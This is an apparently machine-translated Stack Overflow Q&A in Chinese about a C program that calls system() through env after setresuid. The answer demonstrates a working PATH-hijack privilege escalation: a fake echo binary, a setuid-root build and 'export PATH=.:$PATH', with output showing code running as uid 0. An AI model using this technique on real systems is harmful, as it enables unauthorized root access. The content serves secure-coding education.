这个C代码容易受到什么影响?

qua*_*ter 34 c linux security exploit secure-coding

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}
Run Code Online (Sandbox Code Playgroud)

我理解它的方式,上面的代码允许任意代码(或程序)执行 - 什么使这个易受攻击,以及如何利用这一点?

Ada*_*man 54

您可以覆盖该PATH变量以指向具有您的自定义版本的目录,echo并且由于echo使用该目录env,因此不会将其视为内置.

仅当代码作为特权用户运行时,这才构成漏洞.

在下面的示例中,文件vc包含问题的代码.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 
Run Code Online (Sandbox Code Playgroud)

请注意,通过在问题中发布的易受攻击代码的调用setresuid()之前调用设置真实用户ID,有效用户ID和保存的set-user-ID,system()即使只有有效用户ID设置为特权用户ID和真实用户ID保持无特权(例如,如上所述依赖于文件上的set-user-ID位的情况).如果没有调用setresuid()shell运行,system()则会将有效用户ID重置回真实用户ID,从而使漏洞无效.但是,如果使用特权用户的真实用户ID运行易受攻击的代码,则system()单独调用就足够了.引用sh手册页:

如果shell的启动时有效用户(组)id不等于真实用户(组)id,并且未提供-p选项,则不会读取启动文件,shell函数不会从环境继承,SHELLOPTS如果变量出现在环境中,则忽略该变量,并将有效用户标识设置为实际用户标识.如果在调用时提供了-p选项,则启动行为是相同的,但不会重置有效用户标识.

另外请注意,setresuid()不是便携式的,但setuid()还是setreuid()也可以用于同样的效果.

  • `env`搜索`PATH`找到`echo`. (12认同)